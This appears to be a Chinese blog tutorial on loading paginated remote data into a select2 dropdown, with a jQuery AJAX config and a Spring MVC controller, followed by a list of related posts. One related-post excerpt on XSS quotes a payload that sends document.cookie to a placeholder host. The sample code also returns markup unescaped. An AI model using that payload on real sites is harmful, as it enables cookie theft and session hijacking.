核心js

$("#query_pack_code").select2({
language: "zh-CN",
allowClear: true,
width: "150px",
placeholder: "请选择",
ajax: {
url: "monitor/historyQuery/getPackCodeOptions.mvc",
dataType: 'json',
delay: 250,
data: function (params) {
params.offset = 10; //显示十条
params.page = params.page || 1; //页码
return {
name: params.term,
page: params.page,
offset: params.offset
};
},
cache: false,
/*
*@params res 返回值
*@params params 参数
*/
processResults: function (res, params) {
var users = res.data;
var options = [];
for (var i = 0, len = users.length; i < len; i++) {
var option = {
"id": users[i]["serialNo"],
"text": (users[i]["serialNo"])
};
options.push(option);
}
return {
results: options,
pagination: {
more: (params.page * params.offset) < res.total
}
};
},
escapeMarkup: function (markup) {
return markup;
},
minimumInputLength: 1
}
});

后台使用的springmvc+mybatis 分页使用的插件com.github.miemiedev.mybatis.paginator.domain.PageBounds;

 /**
*
* <p>Description: 下拉框异步加载</p>
* @param res 请求
* @return 结果集
*/
@RequestMapping(value="/getPackCodeOptions.mvc")
@ResponseBody
public Object getPackCodeOptions(HttpServletRequest res){
//分页
PageBounds pageBounds;
pageBounds = new PageBounds();
//查询条件
String name = res.getParameter("name");
//每页显示条数
Integer offset = Integer.valueOf(res.getParameter("offset"));
//当前页码
Integer page = Integer.valueOf(res.getParameter("page"));
if (page == 1) {
page = 0;
} else {
page = (page - 1) * offset;
}
pageBounds.setLimit(offset);
pageBounds.setPage(page);
Map<String, Object> params;
params = new HashMap<String, Object>();
params.put("name", name);
EntityPageBean<TmPackSerial> pageBean;
Map<String, Object> dataMap=new HashMap<String, Object>();
try {
pageBean = this.tmPackSerialService.getPackCodeOptions(params, pageBounds);
dataMap.put("total", pageBean.getiTotalRecords());
dataMap.put("recordsFiltered", pageBean.getiTotalRecords());
dataMap.put("data", pageBean.getResults());
} catch (DaoException e) {
logger.error("查询出错:", e);
return null;
}
return dataMap;
}

效果图:

参考资料: select2主页

select2加载远程数据示例的更多相关文章

  1. jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据

    jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...

  2. Jquery.ajax 详细解释 通过Http请求加载远程数据

    首先请看一个Jquery.ajax的例子 $.ajax({ type: "GET", url: "/api/SearchApi/GetResults", dat ...

  3. 通过 HTTP 请求加载远程数据(ajax,axios)

    1.http://blog.csdn.net/liaoxiaojuan233/article/details/54176798 (Axios(JS HTTP库/Ajax库)) 2.https://ww ...

  4. ExtJS ComboBox同时加载远程和本地数据

    ExtJS ComboBox同时加载远程和本地数据 原文:http://gblog.hbcf.net/index.php/archives/233 ComboBox比较特殊需求,将远程数据和本地数据同 ...

  5. Tree:加载列表数据

    Tree控件,需要提供一个树形的JSON数据,才能正常显示. 通常,开发者在后台可以这样做: 1)从数据库查询出一个列表数据 2)在后台,将列表数据转换为树形数据 3)通过JSON方式返回 在前台页面 ...

  6. xss如何加载远程js的一些tips

    在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...

  7. Swift - 网页控件(UIWebView)加载本地数据,文件

    使用UIWebView加载本地数据或资源有如下三种方式: 1,使用loadHTMLString方法加载HTML内容 2,使用loadRequest方法加载本地资源(也可用于加载服务器资源) 3,先将内 ...

  8. Mego开发文档 - 加载关系数据

    加载关系数据 Mego允许您使用模型中的导航属性来加载相关数据对象.目前只支持强制加载数据对象.只有正确配置了关系才能加载关系数据,相关内容可参考关系配置文档. 加载对象属性 您可以使用该Includ ...

  9. WinForm ListView不分页加载大量数据

    WinForm的ListView在加载大量数据时会出现闪烁的问题,同时数据加载很慢.如果你的列表中有超过千条的数据且不做特殊处理还是用普通的ListView.Items.Add(),估计你的用户得抱怨 ...

随机推荐

  1. centos6 和 centos7 网络配置

    centos 6配置,1 vim /etc/sysconfig/network-scripts/ifcfg-eth0DEVICE="eth0" BOOTPROTO="st ...

  2. 分析org.rpgpoet.Music.wizards.length

    例子如下: package bazola; public class Gabriel { static int n = org.rpgpoet.Music.wizards.length; } pack ...

  3. 一条命令在Centos7中换163 yum源、安装python3并与python2共存、使用豆瓣pip源加速

    打开一个Terminal: 换yum源: mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup & ...

  4. Mahout实战---运行第一个推荐引擎

    创建输入 创建intro.csv文件,内容如下 1,101,5.0 1,102,3.0 1,103,2.5 2,101,2.0 2,102,2.5 2,103,5.0 2,104,2.0 3,101, ...

  5. scanf()函数分析

    首先,先来讲一下scanf的读取流程: 从键盘输入的都是字符类型(一系列的字符),scanf()的作用就是将这个字符序列转换成一个或多个指定的类型,并保存到变量中. 从键盘输入的字符序列会先缓存到键盘 ...

  6. HihoCoder - 1478 水陆距离

    水陆距离 描述 给定一个N x M的01矩阵,其中1表示陆地,0表示水域.对于每一个位置,求出它距离最近的水域的距离是多少. 矩阵中每个位置与它上下左右相邻的格子距离为1. 输入 第一行包含两个整数, ...

  7. SVN 基本的工作循环

    基本的工作循环 Subversion有许多特性.选项和华而不实的高级功能,但日常的工作中你只使用其中的一小部分,在这一节里,我们会介绍许多你在日常工作中常用的命令. 典型的工作周期是这样的: 更新你的 ...

  8. python性能对比

    python性能对比之items #1 #-*- coding:utf8-*- import datetime road_nodes = {} for i in range(5000000): roa ...

  9. C#语法之Linq查询基础一

    Linq做.Net开发的应该都用过,有些地方很复杂的逻辑用Linq很方便的解决.对于Linq to object.Linq to xml.Linq to sql.Linq to Entity(EF)都 ...

  10. [转] Lodop、C-Lodop使用说明及样例

    本文转自:http://www.lodop.net/LodopDemo.html Lodop(标音:劳道谱,俗称:露肚皮)是专业WEB控件,用它既可裁剪输出页面内容,又可用程序代码直接实现 复杂打印. ...